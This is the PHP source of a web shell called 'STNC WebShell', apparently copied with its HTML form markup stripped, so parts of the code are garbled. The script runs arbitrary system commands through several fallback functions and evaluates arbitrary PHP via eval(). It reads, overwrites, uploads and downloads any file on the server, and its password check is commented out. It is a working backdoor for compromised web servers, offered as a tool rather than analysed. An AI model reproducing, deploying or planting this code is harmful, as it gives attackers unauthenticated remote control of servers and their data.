STNC WebShell v$version

$v) { $_POST[$k] = stripslashes($v); } /* $login='root'; $hash='b1b3773a05c0ed0176787a4f1574ff0075f7521e'; // sha1("qwerty") if(!(($_SERVER["PHP_AUTH_USER"]===$login)&&(sha1($_SERVER["PHP_AUTH_PW"])===$hash))) { header("HTTP/1.0 401 Unauthorized"); header("WWW-Authenticate: Basic"); die(); } */ function fe($s) {return function_exists($s);} function cmd($s) {if(fe("exec")){exec($s,$r);$r=join("\n",$r);} elseif(fe("shell_exec"))$r=shell_exec($s); elseif(fe("system")){ob_start();system($s);$r=ob_get_contents();ob_end_clean();} elseif(fe("passthru")){ob_start();passthru($s);$r=ob_get_contents();ob_end_clean();} elseif(is_resource($f=popen($s,"r"))){$r="";while(!feof($f))$r.=fread($f,512);pclose($f);} else $r=`$s`;return $r;} function safe_mode_is_on() {return ini_get('safe_mode');} function str100($s) {if(strlen($s)>100) $s=substr($s,0,100)."..."; return $s;} function id() {return str100(cmd("id"));} function uname() {return str100(cmd("uname -a"));} function edit($size, $name, $val) { return ""; } function button($capt) { return ""; } function hidden($name, $val) { return ""; } function hidden_pwd() { global $location; return hidden("pwd",$location);} $action_edit = false; $printline = ""; if(isset($_POST["action"])) $action = $_POST["action"]; else $action = "cmd"; if(isset($_POST["pwd"])) { $pwd = $_POST["pwd"]; $type = filetype($pwd); if($type === "dir")chdir($pwd); else $printline = "\"$pwd\" - no such directory."; } $location = getcwd(); if(($action === "download")&&(isset($_POST["fname"]))) { $fname = $_POST["fname"]; if(file_exists($fname)) { $pathinfo = pathinfo($fname); header("Content-Transfer-Encoding: binary"); header("Content-type: application/x-download"); header("Content-Length: ".filesize($fname)); header("Content-Disposition: attachment; filename=".$pathinfo["basename"]); readfile($fname); die(); } else $printline = "\"$fname\" - download failed."; } echo " STNC WebShell v$version

STNC WebShell v$version

id: ".id()."
uname: ".uname()."
your ip: ".$_SERVER["REMOTE_ADDR"]." - server ip: ".gethostbyname($_SERVER["HTTP_HOST"])." - safe_mode: ".((safe_mode_is_on()) ? "on" : "off")."

".hidden("action","save").hidden_pwd()."

echo htmlspecialchars($printline)."\n";

if($action === "cmd")
{
  if(isset($_POST["cmd"]))
    $cmd = $_POST["cmd"];
  else
    $cmd = "ls -la";

$result = htmlspecialchars(cmd($cmd));

if($result === "")
    $result = cmd("ls -la");

echo $result;
  $location = getcwd();
}
elseif(($action === "edit")&&(isset($_POST["fname"])))
{
  $fname = $_POST["fname"];
  ob_start();

if(!readfile($fname))
    echo "Cann't open file \"$fname\".";
  else
    $action_edit = true;

$result = ob_get_clean();
  ob_end_clean();
  echo htmlspecialchars($result);
}
elseif(($action === "save")&&(isset($_POST["fname"]))&&(isset($_POST["data"])))
{
  $fname = $_POST["fname"];
  $data = $_POST["data"];
  $fid = fopen($fname, "w");
  $fname = htmlspecialchars($fname);

if(!$fid)
    echo "Cann't save file \"$fname\".";
  else
  {
    fputs($fid, $data);
    fclose($fid);
    echo "File \"$fname\" is saved.";
  }
}
elseif(($action === "upload")&&(isset($_FILES["file"]))&&(isset($_POST["fname"])))
{
  $fname = $_POST["fname"];
  if(copy($_FILES["file"]["tmp_name"], $fname))
    echo "File \"$fname\" is uploaded.\nFile size: ".filesize($fname)." bytes.";      
  else
    echo "Upload failed!";
}
elseif(($action === "eval")&&(isset($_POST["code"])))
{
  $code = $_POST["code"];
  ob_start();
  eval($code);
  $result = ob_get_clean();
  ob_end_clean();
  echo htmlspecialchars($result);
}

echo "

".(($action_edit) ? "
".button(" Save ").hidden("fname",$fname):"")."

".hidden("action","cmd")."

Command:	".edit(85,"cmd","")."
Location:	".edit(85,"pwd",$location)." ".button("Execute")."

".hidden("action","edit").hidden_pwd()."

Edit file:

".edit(85,"fname",$location)."

".button(" Edit ")."

". hidden("action","download").hidden_pwd()."

File:

".edit(50,"fname",$location)."

".button("Download")."

". hidden("action","upload").hidden_pwd()."

File:
To file:	".edit(50,"fname",$location)." ".button("Upload")."

".hidden("action","eval").hidden_pwd()."
".button(" Eval ")."

"; ?>